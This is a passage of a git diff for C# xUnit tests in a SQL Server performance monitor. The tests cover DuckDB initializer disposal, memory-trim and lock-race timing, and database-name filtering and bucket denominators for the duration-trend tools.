@@ -495,7 +495,7 @@ void OnFirstChance(object? sender, FirstChanceExceptionEventArgs e)
         }
         AppDomain.CurrentDomain.FirstChanceException += OnFirstChance;
 
-        var initializer = new DuckDbInitializer(_dbPath);
+        using var initializer = new DuckDbInitializer(_dbPath);
         try
         {
             Assert.True(DuckDbInitializer.TestTrimTickEntered.Wait(TimeSpan.FromSeconds(5)),
@@ -539,7 +539,7 @@ signal of the handle Dispose decided not to dispose. */
     [Fact]
     public async Task CreateArchiveViewsAsync_WaitsForConcurrentWriteLock()
     {
-        var initializer = new DuckDbInitializer(_dbPath);
+        using var initializer = new DuckDbInitializer(_dbPath);
         await initializer.InitializeAsync();
 
         var writeLockAcquired = new ManualResetEventSlim();
@@ -574,7 +574,7 @@ public async Task CreateArchiveViewsAsync_WaitsForConcurrentWriteLock()
     [Fact]
     public async Task CreateArchiveViewsAsync_CalledWhileHoldingWriteLockOnSameThread_DoesNotThrow()
     {
-        var initializer = new DuckDbInitializer(_dbPath);
+        using var initializer = new DuckDbInitializer(_dbPath);
         await initializer.InitializeAsync();
 
         using (initializer.AcquireWriteLock())
@@ -615,7 +615,7 @@ public async Task CreateArchiveViewsAsync_CalledWhileHoldingWriteLockOnSameThrea
     [Fact]
     public async Task RunMemoryTrimCycle_AfterWideRead_ReducesProcessMemory()
     {
-        var initializer = new DuckDbInitializer(_dbPath);
+        using var initializer = new DuckDbInitializer(_dbPath);
         await initializer.InitializeAsync();
 
         using (var seed = initializer.CreateConnection())
@@ -659,21 +659,32 @@ defeats that compression the same way real Query Store plan XML would. */
                instance, not just this one), same as a real caller mid-archival. A skipped cycle reports
                beforeBytes == afterBytes with no error — exactly the "trim released nothing" failure this
                test chased intermittently on CI (one Windows run: 105906176 -> 105906176). That is lock
-               contention from an unrelated parallel test, not a broken trim, so the test retries the
-               cycle itself rather than looser-than-the-contract on a single skipped attempt. */
-            for (var attempt = 0; attempt < 20; attempt++)
+               contention from an unrelated parallel test, not a broken trim. The first fix re-ran the
+               cycle 20 times 50 ms apart, which is still a one-second timing budget: a parallel test that
+               holds the lock longer than that skips every attempt and fails the same way (#5459 W5; a
+               planted three-second hold reproduces the CI numbers exactly). So the wait is for the one
+               thing that tells a skipped cycle from one that ran: CompletedTrimCycleCount, which moves
+               only after both SET statements ran. It is bounded by a 30 s hang backstop, not a budget.
+               The measurement is then taken ONCE, after a cycle that really ran, so a trim that ran and
+               released nothing fails the assertions below at once and is never retried into a pass. */
+            var cyclesBefore = initializer.CompletedTrimCycleCount;
+            var hangBackstop = Stopwatch.StartNew();
+            while (true)
             {
                 initializer.RunMemoryTrimCycle();
-
-                using var measure = initializer.CreateConnection();
-                await measure.OpenAsync();
-                afterBytes = initializer.ReadSentinelMemoryUsageBytes(measure);
-
-                if (afterBytes.HasValue && afterBytes.Value <= trimTargetBytes)
+                if (initializer.CompletedTrimCycleCount != cyclesBefore)
                     break;
 
+                Assert.True(hangBackstop.Elapsed < TimeSpan.FromSeconds(30),
+                    "RunMemoryTrimCycle did not complete a cycle within 30 s: the process-wide database lock stayed busy, or the cycle bailed out before its SET statements");
                 await Task.Delay(50);
             }
+
+            using (var measure = initializer.CreateConnection())
+            {
+                await measure.OpenAsync();
+                afterBytes = initializer.ReadSentinelMemoryUsageBytes(measure);
+            }
         }
         finally
         {
diff --git a/Lite.Tests/DuckDbSentinelResetRaceTests.cs b/Lite.Tests/DuckDbSentinelResetRaceTests.cs
index c66c421fd8..1d8e30c8d6 100644
--- a/Lite.Tests/DuckDbSentinelResetRaceTests.cs
+++ b/Lite.Tests/DuckDbSentinelResetRaceTests.cs
@@ -84,15 +84,21 @@ public Task<Dictionary<string, string>> LoadAsync(int serverId, string collector
     [Fact]
     public async Task ResetDatabaseAsync_StartingWhileACollectionCycleWriteHoldsItsConnection_WaitsAndTheNextWriteLandsInTheNewFile()
     {
-        var initializer = new DuckDbInitializer(_dbPath);
+        using var initializer = new DuckDbInitializer(_dbPath);
         await initializer.InitializeAsync();
         var writer = new CollectorStateAccess(initializer);
 
         /* Big enough that the upsert loop's connection stays open for a real slice of wall-clock time —
            the fixed shape does not need this width (the lock makes the order exact either way), but the
-           broken shape does, to make the race land inside the still-open connection's window. */
+           broken shape does, to make the race land inside the still-open connection's window.
+
+           The loop holds the process-wide write lock for its whole length, about 3 ms per key, so every other
+           test's database read queues behind it: at 4,000 keys that was a 12 s hold on a laptop and the longest
+           single one in the suite (#5208). 1,000 keys hold it for about 3 s. Measured with the write lock
+           removed from SaveCollectorStateAsync (the broken shape), this test fails every time at 1,000 keys, and
+           at 400 and at 150 (three runs each), so 1,000 keeps a wide margin over the window the race needs. */
         var racingState = new Dictionary<string, string>(StringComparer.Ordinal);
-        for (var i = 0; i < 4000; i++)
+        for (var i = 0; i < 1000; i++)
             racingState[$"key_{i}"] = $"value_{i}";
 
         var writeTask = Task.Run(() => writer.SaveAsync(serverId: 1, "racer", racingState));
@@ -138,14 +144,14 @@ sentinel is now actually serving. */
     [Fact]
     public async Task InitializeAsync_TransientSharingViolationOnThreadPoolThread_RetriesAndReleasesTheWriteLock()
     {
-        var seed = new DuckDbInitializer(_dbPath);
+        using var seed = new DuckDbInitializer(_dbPath);
         await seed.InitializeAsync();
         seed.Dispose();
 
         var blocker = File.Open(_dbPath, FileMode.Open, FileAccess.Read, FileShare.None);
         try
         {
-            var initializer = new DuckDbInitializer(_dbPath);
+            using var initializer = new DuckDbInitializer(_dbPath);
 
             /* Task.Run: no SynchronizationContext, exactly the shape the Thread.Sleep-not-Task.Delay
                comment on OpenDatabaseAsync is about. */
diff --git a/Lite.Tests/DurationTrendDatabaseFilterToolTests.cs b/Lite.Tests/DurationTrendDatabaseFilterToolTests.cs
new file mode 100644
index 0000000000..f47ea19e47
--- /dev/null
+++ b/Lite.Tests/DurationTrendDatabaseFilterToolTests.cs
@@ -0,0 +1,374 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.IO;
+using System.Linq;
+using System.Text.Json;
+using System.Threading.Tasks;
+using DuckDB.NET.Data;
+using PerformanceMonitorLite.Database;
+using PerformanceMonitorLite.Mcp;
+using PerformanceMonitorLite.Models;
+using PerformanceMonitorLite.Services;
+using Xunit;
+
+namespace PerformanceMonitorLite.Tests;
+
+/// <summary>
+/// #5244 (PR4, lane L1): <c>database_name</c> on Lite's get_query_duration_trend, get_procedure_duration_trend and
+/// get_query_store_duration_trend, the twins of Darling's list-taking trend readers. Each tool gets a DuckDB fixture
+/// with three databases where the filter returns only the chosen one's rate and a blank name returns all of them, plus
+/// the filtered empty answer: it names the database the way Darling's <c>ScopedServer</c> does and keeps the
+/// <c>empty</c> status word for a collector that ran, while the server-wide never-sampled answer stays
+/// <c>unavailable</c> on the bare server name.
+/// </summary>
+public sealed class DurationTrendDatabaseFilterToolTests : IClassFixture<SharedDuckDbFixture>, IDisposable
+{
+    private const string ServerName = "TrendDbFilterSrv";
+
+    private readonly DuckDbInitializer _duckDb;
+    private readonly string _configDir;
+    private readonly ServerManager _serverManager;
+    private readonly int _serverId;
+    private readonly LocalDataService _service;
+    private DuckDBConnection? _seedConn;
+    private long _nextId = 940000;
+
+    public DurationTrendDatabaseFilterToolTests(SharedDuckDbFixture fixture)
+    {
+        fixture.ResetData();
+        _duckDb = fixture.DuckDb;
+        _service = new LocalDataService(_duckDb);
+
+        _configDir = Path.Combine(Path.GetTempPath(), "pmlite-trenddbfilter-" + Guid.NewGuid().ToString("N"));
+        Directory.CreateDirectory(_configDir);
+        _serverManager = new ServerManager(_configDir);
+
+        var server = new ServerConnection
+        {
+            Id = Guid.NewGuid().ToString(),
+            ServerName = ServerName,
+            IsEnabled = true,
+        };
+        _serverManager.AddServer(server);
+
+        _serverId = RemoteCollectorService.GetDeterministicHashCode(
+            RemoteCollectorService.GetServerNameForStorage(server));
+    }
+
+    public void Dispose()
+    {
+        _seedConn?.Dispose();
+        try { Directory.Delete(_configDir, recursive: true); } catch (IOException) { /* temp dir */ }
+    }
+
+    // One clock read per test instance (cut to the minute). Reading the clock on every call split rows
+    // seeded together across two minutes whenever a minute boundary passed mid-seed.
+    private readonly DateTime _minuteAnchor = MinuteOf(DateTime.UtcNow);
+
+    private static DateTime MinuteOf(DateTime now) =>
+        new(now.Year, now.Month, now.Day, now.Hour, now.Minute, 0, DateTimeKind.Utc);
+
+    private DateTime Minute(int minutesAgo) => _minuteAnchor.AddMinutes(-minutesAgo);
+
+    private static JsonElement Parse(string json) => JsonDocument.Parse(json).RootElement;
+
+    /// <summary>The summed executions_per_second of every point in the answer.</summary>
+    private static double ExecutionsPerSecond(JsonElement root) =>
+        root.GetProperty("trend").EnumerateArray().Sum(p => p.GetProperty("executions_per_second").GetDouble());
+
+    /* ───────────────────────── get_query_duration_trend ───────────────────────── */
+
+    /// <summary>One collection per database at the same minute, each carrying a stored 60 s interval: 60, 120 and 240
+    /// executions are 1, 2 and 4 per second, so the rate says exactly which databases were summed.</summary>
+    private async Task SeedThreeDatabaseQueryStatsAsync()
+    {
+        var when = Minute(10);
+        await SeedQueryStatsAsync(when, "DbA", 60);
+        await SeedQueryStatsAsync(when, "DbB", 120);
+        await SeedQueryStatsAsync(when, "DbC", 240);
+    }
+
+    [Fact]
+    public async Task QueryDurationTrend_OneName_ReturnsOnlyThatDatabasesRate()
+    {
+        await SeedThreeDatabaseQueryStatsAsync();
+
+        var root = Parse(await McpQueryTools.GetQueryDurationTrend(
+            _service, _serverManager, ServerName, 4, database_name: "DbB"));
+
+        Assert.Equal(2.0, ExecutionsPerSecond(root), 3);
+        Assert.Equal("DbB", root.GetProperty("database_name").GetString());
+    }
+
+    [Theory]
+    [InlineData(null)]
+    [InlineData("")]
+    [InlineData("   ")]
+    public async Task QueryDurationTrend_BlankName_ReturnsEveryDatabase(string? blank)
+    {
+        await SeedThreeDatabaseQueryStatsAsync();
+
+        var root = Parse(await McpQueryTools.GetQueryDurationTrend(
+            _service, _serverManager, ServerName, 4, database_name: blank));
+
+        Assert.Equal(7.0, ExecutionsPerSecond(root), 3);
+        Assert.Equal(JsonValueKind.Null, root.GetProperty("database_name").ValueKind);
+    }
+
+    [Fact]
+    public async Task QueryDurationTrend_FilteredEmpty_NamesTheDatabase_AndStaysEmpty()
+    {
+        await SeedThreeDatabaseQueryStatsAsync();
+
+        var root = Parse(await McpQueryTools.GetQueryDurationTrend(
+            _service, _serverManager, ServerName, 4, database_name: "NoSuchDb"));
+
+        Assert.Equal("empty", root.GetProperty("status").GetString());
+        Assert.Contains($"{ServerName} for the database NoSuchDb", root.GetProperty("message").GetString());
+        Assert.Equal("NoSuchDb", root.GetProperty("database_name").GetString());   /* #5244 review L2: the echo rides on an empty answer */
+    }
+
+    [Fact]
+    public async Task QueryDurationTrend_NeverCollected_IsUnavailable_OnTheBareServerName_EvenWithAFilter()
+    {
+        var root = Parse(await McpQueryTools.GetQueryDurationTrend(
+            _service, _serverManager, ServerName, 4, database_name: "DbA"));
+
+        Assert.Equal("unavailable", root.GetProperty("status").GetString());
+        Assert.DoesNotContain("database_name", root.GetProperty("message").GetString());
+        Assert.Equal("DbA", root.GetProperty("database_name").GetString());   /* the echo names the filter even where the message stays on the bare server */
+    }
+
+    [Theory]
+    [InlineData(null)]
+    [InlineData("")]
+    [InlineData("   ")]
+    public async Task QueryDurationTrend_NeverCollected_BlankName_EchoesNull(string? blank)
+    {
+        var root = Parse(await McpQueryTools.GetQueryDurationTrend(
+            _service, _serverManager, ServerName, 4, database_name: blank));
+
+        Assert.Equal("unavailable", root.GetProperty("status").GetString());
+        Assert.Equal(JsonValueKind.Null, root.GetProperty("database_name").ValueKind);
+    }
+
+    /* ───────────────────────── get_procedure_duration_trend ───────────────────────── */
+
+    private async Task SeedThreeDatabaseProcedureStatsAsync()
+    {
+        var when = Minute(10);
+        await SeedProcedureStatsAsync(when, "DbA", 60);
+        await SeedProcedureStatsAsync(when, "DbB", 120);
+        await SeedProcedureStatsAsync(when, "DbC", 240);
+    }
+
+    [Fact]
+    public async Task ProcedureDurationTrend_OneName_ReturnsOnlyThatDatabasesRate()
+    {
+        await SeedThreeDatabaseProcedureStatsAsync();
+
+        var root = Parse(await McpQueryTools.GetProcedureDurationTrend(
+            _service, _serverManager, ServerName, 4, database_name: "DbC"));
+
+        Assert.Equal(4.0, ExecutionsPerSecond(root), 3);
+        Assert.Equal("DbC", root.GetProperty("database_name").GetString());
+    }
+
+    [Theory]
+    [InlineData(null)]
+    [InlineData("")]
+    [InlineData("   ")]
+    public async Task ProcedureDurationTrend_BlankName_ReturnsEveryDatabase(string? blank)
+    {
+        await SeedThreeDatabaseProcedureStatsAsync();
+
+        var root = Parse(await McpQueryTools.GetProcedureDurationTrend(
+            _service, _serverManager, ServerName, 4, database_name: blank));
+
+        Assert.Equal(7.0, ExecutionsPerSecond(root), 3);
+        Assert.Equal(JsonValueKind.Null, root.GetProperty("database_name").ValueKind);
+    }
+
+    [Fact]
+    public async Task ProcedureDurationTrend_FilteredEmpty_NamesTheDatabase_AndStaysEmpty()
+    {
+        await SeedThreeDatabaseProcedureStatsAsync();
+
+        var root = Parse(await McpQueryTools.GetProcedureDurationTrend(
+            _service, _serverManager, ServerName, 4, database_name: "NoSuchDb"));
+
+        Assert.Equal("empty", root.GetProperty("status").GetString());
+        Assert.Contains($"{ServerName} for the database NoSuchDb", root.GetProperty("message").GetString());
+        Assert.Equal("NoSuchDb", root.GetProperty("database_name").GetString());   /* #5244 review L2: the echo rides on an empty answer */
+    }
+
+    [Fact]
+    public async Task ProcedureDurationTrend_NeverCollected_IsUnavailable_OnTheBareServerName_EvenWithAFilter()
+    {
+        var root = Parse(await McpQueryTools.GetProcedureDurationTrend(
+            _service, _serverManager, ServerName, 4, database_name: "DbA"));
+
+        Assert.Equal("unavailable", root.GetProperty("status").GetString());
+        Assert.DoesNotContain("database_name", root.GetProperty("message").GetString());
+        Assert.Equal("DbA", root.GetProperty("database_name").GetString());   /* the echo names the filter even where the message stays on the bare server */
+    }
+
+    /* ───────────────────────── get_query_store_duration_trend ───────────────────────── */
+
+    /// <summary>One closed hour per database at the same interval start: 3,600 s each, so 3,600 / 7,200 / 14,400
+    /// executions are 1, 2 and 4 per second.</summary>
+    private async Task SeedThreeDatabaseQueryStoreAsync()
+    {
+        var start = Minute(180);
+        var hour = new DateTime(start.Year, start.Month, start.Day, start.Hour, 0, 0, DateTimeKind.Utc);
+        await SeedQueryStoreAsync(hour, "DbA", 3_600);
+        await SeedQueryStoreAsync(hour, "DbB", 7_200);
+        await SeedQueryStoreAsync(hour, "DbC", 14_400);
+    }
+
+    [Fact]
+    public async Task QueryStoreDurationTrend_OneName_ReturnsOnlyThatDatabasesRate()
+    {
+        await SeedThreeDatabaseQueryStoreAsync();
+
+        var root = Parse(await McpQueryTools.GetQueryStoreDurationTrend(
+            _service, _serverManager, ServerName, 6, database_name: "DbB"));
+
+        Assert.Equal(2.0, ExecutionsPerSecond(root), 3);
+        Assert.Equal("DbB", root.GetProperty("database_name").GetString());
+    }
+
+    [Theory]
+    [InlineData(null)]
+    [InlineData("")]
+    [InlineData("   ")]
+    public async Task QueryStoreDurationTrend_BlankName_ReturnsEveryDatabase(string? blank)
+    {
+        await SeedThreeDatabaseQueryStoreAsync();
+
+        var root = Parse(await McpQueryTools.GetQueryStoreDurationTrend(
+            _service, _serverManager, ServerName, 6, database_name: blank));
+
+        Assert.Equal(7.0, ExecutionsPerSecond(root), 3);
+        Assert.Equal(JsonValueKind.Null, root.GetProperty("database_name").ValueKind);
+    }
+
+    [Fact]
+    public async Task QueryStoreDurationTrend_FilteredEmpty_NamesTheDatabase_AndStaysEmpty()
+    {
+        await SeedThreeDatabaseQueryStoreAsync();
+
+        var root = Parse(await McpQueryTools.GetQueryStoreDurationTrend(
+            _service, _serverManager, ServerName, 6, database_name: "NoSuchDb"));
+
+        Assert.Equal("empty", root.GetProperty("status").GetString());
+        Assert.Contains($"{ServerName} for the database NoSuchDb", root.GetProperty("message").GetString());
+        Assert.Equal("NoSuchDb", root.GetProperty("database_name").GetString());   /* #5244 review L2: the echo rides on an empty answer */
+    }
+
+    [Fact]
+    public async Task QueryStoreDurationTrend_NeverCollected_IsUnavailable_OnTheBareServerName_EvenWithAFilter()
+    {
+        var root = Parse(await McpQueryTools.GetQueryStoreDurationTrend(
+            _service, _serverManager, ServerName, 6, database_name: "DbA"));
+
+        Assert.Equal("unavailable", root.GetProperty("status").GetString());
+        Assert.DoesNotContain("database_name", root.GetProperty("message").GetString());
+        Assert.Equal("DbA", root.GetProperty("database_name").GetString());   /* the echo names the filter even where the message stays on the bare server */
+    }
+
+    /* ───────────────────────── seeding ───────────────────────── */
+
+    private async Task<DuckDBConnection> SeedConnectionAsync()
+    {
+        if (_seedConn is null)
+        {
+            _seedConn = _duckDb.CreateConnection();
+            await _seedConn.OpenAsync();
+        }
+        return _seedConn;
+    }
+
+    private async Task SeedQueryStatsAsync(DateTime collectionTimeUtc, string database, long executions)
+    {
+        using var readLock = _duckDb.AcquireReadLock();
+        var connection = await SeedConnectionAsync();
+        using var cmd = connection.CreateCommand();
+        cmd.CommandText = @"
+INSERT INTO query_stats
+    (collection_id, collection_time, server_id, server_name, database_name,
+     query_hash, sql_handle, last_execution_time, delta_execution_count,
+     delta_worker_time, delta_elapsed_time, query_text, sample_interval_seconds)
+VALUES ($1, $2, $3, $4, $5, $6, $7, $8, $9, $10, $11, $12, 60)";
+        var naive = DateTime.SpecifyKind(collectionTimeUtc, DateTimeKind.Unspecified);
+        cmd.Parameters.Add(new DuckDBParameter { Value = _nextId++ });
+        cmd.Parameters.Add(new DuckDBParameter { Value = naive });
+        cmd.Parameters.Add(new DuckDBParameter { Value = _serverId });
+        cmd.Parameters.Add(new DuckDBParameter { Value = ServerName });
+        cmd.Parameters.Add(new DuckDBParameter { Value = database });
+        cmd.Parameters.Add(new DuckDBParameter { Value = "0xTRENDDBFILTER" + database });
+        cmd.Parameters.Add(new DuckDBParameter { Value = "0xSQLH" });
+        cmd.Parameters.Add(new DuckDBParameter { Value = naive });
+        cmd.Parameters.Add(new DuckDBParameter { Value = executions });
+        cmd.Parameters.Add(new DuckDBParameter { Value = executions * 1000 });
+        cmd.Parameters.Add(new DuckDBParameter { Value = executions * 2000 });
+        cmd.Parameters.Add(new DuckDBParameter { Value = "SELECT 1" });
+        await cmd.ExecuteNonQueryAsync();
+    }
+
+    private async Task SeedProcedureStatsAsync(DateTime collectionTimeUtc, string database, long executions)
+    {
+        using var readLock = _duckDb.AcquireReadLock();
+        var connection = await SeedConnectionAsync();
+        using var cmd = connection.CreateCommand();
+        cmd.CommandText = @"
+INSERT INTO procedure_stats
+    (collection_id, collection_time, server_id, server_name,
+     database_name, schema_name, object_name,
+     delta_execution_count, delta_worker_time, delta_elapsed_time, delta_logical_reads, sample_interval_seconds)
+VALUES ($1, $2, $3, $4, $5, 'dbo', 'usp_Trend', $6, $7, $8, 0, 60)";
+        cmd.Parameters.Add(new DuckDBParameter { Value = _nextId++ });
+        cmd.Parameters.Add(new DuckDBParameter { Value = DateTime.SpecifyKind(collectionTimeUtc, DateTimeKind.Unspecified) });
+        cmd.Parameters.Add(new DuckDBParameter { Value = _serverId });
+        cmd.Parameters.Add(new DuckDBParameter { Value = ServerName });
+        cmd.Parameters.Add(new DuckDBParameter { Value = database });
+        cmd.Parameters.Add(new DuckDBParameter { Value = executions });
+        cmd.Parameters.Add(new DuckDBParameter { Value = executions * 1000 });
+        cmd.Parameters.Add(new DuckDBParameter { Value = executions * 2000 });
+        await cmd.ExecuteNonQueryAsync();
+    }
+
+    /// <summary>A closed hour: it starts at <paramref name="hour"/>, ends an hour later, and was fetched when it
+    /// closed, so its rate is its executions over 3,600 s.</summary>
+    private async Task SeedQueryStoreAsync(DateTime hour, string database, long executions)
+    {
+        using var readLock = _duckDb.AcquireReadLock();
+        var connection = await SeedConnectionAsync();
+        using var cmd = connection.CreateCommand();
+        cmd.CommandText = @"
+INSERT INTO query_store_stats
+    (collection_id, collection_time, server_id, server_name, database_name,
+     query_id, plan_id, execution_type_desc, execution_count, avg_duration_us,
+     runtime_stats_interval_id, interval_start_time_utc, interval_end_time_utc)
+VALUES ($1, $2, $3, $4, $5, $6, $7, 'Regular', $8, 1000, $9, $10, $11)";
+        cmd.Parameters.Add(new DuckDBParameter { Value = _nextId++ });
+        cmd.Parameters.Add(new DuckDBParameter { Value = DateTime.SpecifyKind(hour.AddMinutes(61), DateTimeKind.Unspecified) });
+        cmd.Parameters.Add(new DuckDBParameter { Value = _serverId });
+        cmd.Parameters.Add(new DuckDBParameter { Value = ServerName });
+        cmd.Parameters.Add(new DuckDBParameter { Value = database });
+        cmd.Parameters.Add(new DuckDBParameter { Value = 7L });
+        cmd.Parameters.Add(new DuckDBParameter { Value = 9L });
+        cmd.Parameters.Add(new DuckDBParameter { Value = executions });
+        cmd.Parameters.Add(new DuckDBParameter { Value = 1L });
+        cmd.Parameters.Add(new DuckDBParameter { Value = DateTime.SpecifyKind(hour, DateTimeKind.Unspecified) });
+        cmd.Parameters.Add(new DuckDBParameter { Value = DateTime.SpecifyKind(hour.AddHours(1), DateTimeKind.Unspecified) });
+        await cmd.ExecuteNonQueryAsync();
+    }
+}
diff --git a/Lite.Tests/DurationTrendFilteredDenominatorTests.cs b/Lite.Tests/DurationTrendFilteredDenominatorTests.cs
new file mode 100644
index 0000000000..87142c7f4d
--- /dev/null
+++ b/Lite.Tests/DurationTrendFilteredDenominatorTests.cs
@@ -0,0 +1,204 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Linq;
+using System.Threading.Tasks;
+using DuckDB.NET.Data;
+using PerformanceMonitor.Common;
+using PerformanceMonitorLite.Database;
+using PerformanceMonitorLite.Services;
+using Xunit;
+
+namespace PerformanceMonitorLite.Tests;
+
+/// <summary>
+/// #5414 M1 (#5244 PR4): a filtered duration-trend bucket is read over EVERY collection in it. The query-stats collector
+/// keeps only plans that ran in the last ten minutes, so a database that ran nothing recently has no row in most
+/// collections; dividing by only the collections it appeared in read its rate high (one 6 s query in a 60-minute bucket
+/// of four 15-minute collections read 6000 ms / 900 s, four times the true 6000 ms / 3600 s) and left [A] + [B] != [A, B].
+/// A is busy in the first collection only, B in the third only, C (a small steady load) in all four, so [A] and [B]
+/// each miss three of the four collections. Covers the three DuckDB statements that bucket the duration shape: the MCP
+/// read (query and procedure) and the two chart reads (duration, execution count).
+/// </summary>
+public sealed class DurationTrendFilteredDenominatorTests : IClassFixture<SharedDuckDbFixture>, IDisposable
+{
+    private const string ServerName = "TrendDenominatorSrv";
+    private const double BucketSeconds = 4 * 900;
+
+    private readonly DuckDbInitializer _duckDb;
+    private readonly LocalDataService _service;
+    private readonly int _serverId;
+    private readonly DateTime _hour;
+    private DuckDBConnection? _seedConn;
+    private long _nextId = 950000;
+
+    public DurationTrendFilteredDenominatorTests(SharedDuckDbFixture fixture)
+    {
+        fixture.ResetData();
+        _duckDb = fixture.DuckDb;
+        _service = new LocalDataService(_duckDb);
+        _serverId = RemoteCollectorService.GetDeterministicHashCode(ServerName);
+
+        var now = DateTime.UtcNow;
+        _hour = new DateTime(now.Year, now.Month, now.Day, now.Hour, 0, 0, DateTimeKind.Utc).AddHours(-3);
+    }
+
+    public void Dispose() => _seedConn?.Dispose();
+
+    private async Task SeedAsync(bool procedures)
+    {
+        for (var i = 0; i < 4; i++)
+        {
+            var at = _hour.AddMinutes(15 * i);
+            if (i == 0) { await InsertAsync(procedures, at, "DbA", 6_000_000); }
+            if (i == 2) { await InsertAsync(procedures, at, "DbB", 3_000_000); }
+            await InsertAsync(procedures, at, "DbC", 1_000);
+        }
+    }
+
+    private async Task InsertAsync(bool procedure, DateTime collectionTimeUtc, string database, long elapsedUs)
+    {
+        using var readLock = _duckDb.AcquireReadLock();
+        _seedConn ??= _duckDb.CreateConnection();
+        if (_seedConn.State != System.Data.ConnectionState.Open)
+        {
+            await _seedConn.OpenAsync();
+        }
+
+        using var cmd = _seedConn.CreateCommand();
+        cmd.CommandText = procedure
+            ? @"INSERT INTO procedure_stats
+                    (collection_id, collection_time, server_id, server_name, database_name, schema_name, object_name,
+                     delta_execution_count, delta_worker_time, delta_elapsed_time, delta_logical_reads, sample_interval_seconds)
+                VALUES ($1, $2, $3, $4, $5, 'dbo', 'usp_Trend', 10, $6, $6, 0, 900)"
+            : @"INSERT INTO query_stats
+                    (collection_id, collection_time, server_id, server_name, database_name,
+                     query_hash, sql_handle, last_execution_time, delta_execution_count,
+                     delta_worker_time, delta_elapsed_time, query_text, sample_interval_seconds)
+                VALUES ($1, $2, $3, $4, $5, $7, '0xSQLH', $2, 10, $6, $6, 'SELECT 1', 900)";
+        var naive = DateTime.SpecifyKind(collectionTimeUtc, DateTimeKind.Unspecified);
+        cmd.Parameters.Add(new DuckDBParameter { Value = _nextId++ });
+        cmd.Parameters.Add(new DuckDBParameter { Value = naive });
+        cmd.Parameters.Add(new DuckDBParameter { Value = _serverId });
+        cmd.Parameters.Add(new DuckDBParameter { Value = ServerName });
+        cmd.Parameters.Add(new DuckDBParameter { Value = database });
+        cmd.Parameters.Add(new DuckDBParameter { Value = elapsedUs });
+        if (!procedure)
+        {
+            cmd.Parameters.Add(new DuckDBParameter { Value = "0xTRENDDEN" + database });
+        }
+
+        await cmd.ExecuteNonQueryAsync();
+    }
+
+    [Theory]
+    [InlineData(false)]
+    [InlineData(true)]
+    public async Task McpBucket_AFilteredBucket_IsReadOverEveryCollectionInIt_SoTheDatabasesAddUp(bool procedures)
+    {
+        await SeedAsync(procedures);
+        var asOf = DateTime.UtcNow;
+
+        async Task<(double Elapsed, double Executions)> Read(params string[]? names)
+        {
+            var points = procedures
+                ? await _service.GetBucketedProcedureDurationTrendAsync(_serverId, 24, asOf, 60, names)
+                : await _service.GetBucketedQueryDurationTrendAsync(_serverId, 24, asOf, 60, names);
+            var point = points.Single();
+            return (point.Value!.Value, point.ExecutionsPerSecond!.Value);
+        }
+
+        var a = await Read("DbA");
+        var b = await Read("DbB");
+        var both = await Read("DbA", "DbB");
+        Assert.Equal(6_000 / BucketSeconds, a.Elapsed, 9);
+        Assert.Equal(3_000 / BucketSeconds, b.Elapsed, 9);
+        Assert.Equal(a.Elapsed + b.Elapsed, both.Elapsed, 9);
+        /* Ten executions per row: A and B each ran in one collection of four. */
+        Assert.Equal(10 / BucketSeconds, a.Executions, 9);
+        Assert.Equal(a.Executions + b.Executions, both.Executions, 9);
+        Assert.Equal((9_000 + 4) / BucketSeconds, (await Read()).Elapsed, 9);
+        Assert.Equal(4 / BucketSeconds, (await Read("DbC")).Elapsed, 9);
+    }
+
+    /// <summary>
+    /// [#5414 round 2, per-bucket HAVING] A bucket the chosen databases had no rows in is a measured 0 and a bucket the
+    /// store covered, not a missing one. Collections every 15 minutes for four hours, DbC in every one, DbA in the third
+    /// hour's first collection only. [DbA] returns all four hour buckets (zero before and after its one busy hour), and
+    /// the first one's first_collection_time is the store's own first collection, so the window is not read as cut short
+    /// (Darling's DescribeCoverage and Lite's window notice both read that instant). The chart reads follow the rule.
+    /// </summary>
+    [Fact]
+    public async Task AFilteredWindow_KeepsEveryBucketTheStoreCovered_AsZero()
+    {
+        var first = _hour.AddHours(-3);
+        for (var i = 0; i < 16; i++)
+        {
+            var at = first.AddMinutes(15 * i);
+            if (i == 8) { await InsertAsync(procedure: false, at, "DbA", 6_000_000); }
+            await InsertAsync(procedure: false, at, "DbC", 1_000);
+        }
+
+        var asOf = DateTime.UtcNow;
+        var points = await _service.GetBucketedQueryDurationTrendAsync(_serverId, 24, asOf, 60, new[] { "DbA" });
+        Assert.Equal(4, points.Count);
+        var expected = new[] { 0.0, 0.0, 6_000 / BucketSeconds, 0.0 };
+        for (var i = 0; i < expected.Length; i++) { Assert.Equal(expected[i], points[i].Value!.Value, 9); }
+        Assert.Equal(DateTime.SpecifyKind(first, DateTimeKind.Unspecified), DateTime.SpecifyKind(points[0].FirstCollectionTime!.Value, DateTimeKind.Unspecified));
+
+        var chart = await _service.GetQueryDurationTrendAsync(_serverId, 12, null, null, new[] { "DbA" }, asOf);
+        Assert.Contains(chart, p => p.Value == 0.0 && p.CollectionTime < first.AddHours(2));
+        var executions = await _service.GetExecutionCountTrendAsync(_serverId, 12, null, null, new[] { "DbA" });
+        Assert.Contains(executions, p => p.Value == 0.0 && p.CollectionTime < first.AddHours(2));
+
+        Assert.Empty(await _service.GetBucketedQueryDurationTrendAsync(_serverId, 24, asOf, 60, new[] { "NoSuchDb" }));
+        Assert.Empty(await _service.GetQueryDurationTrendAsync(_serverId, 12, null, null, new[] { "NoSuchDb" }, asOf));
+        Assert.Empty(await _service.GetExecutionCountTrendAsync(_serverId, 12, null, null, new[] { "NoSuchDb" }));
+    }
+
+    [Fact]
+    public async Task McpBucket_AListThatMatchesNothing_IsEmpty_NotAZeroSeries()
+    {
+        await SeedAsync(procedures: false);
+
+        var points = await _service.GetBucketedQueryDurationTrendAsync(_serverId, 24, DateTime.UtcNow, 60, new[] { "NoSuchDb" });
+
+        Assert.Empty(points);
+    }
+
+    [Fact]
+    public async Task Chart_AFilteredBucket_IsReadOverEveryCollectionInIt_SoTheDatabasesAddUp()
+    {
+        await SeedAsync(procedures: false);
+
+        /* The chart's bucket width is the window's own; ninety days is wide enough for a whole number of hours, so every collection
+           planted lies in one bucket. */
+        const int hoursBack = 90 * 24;
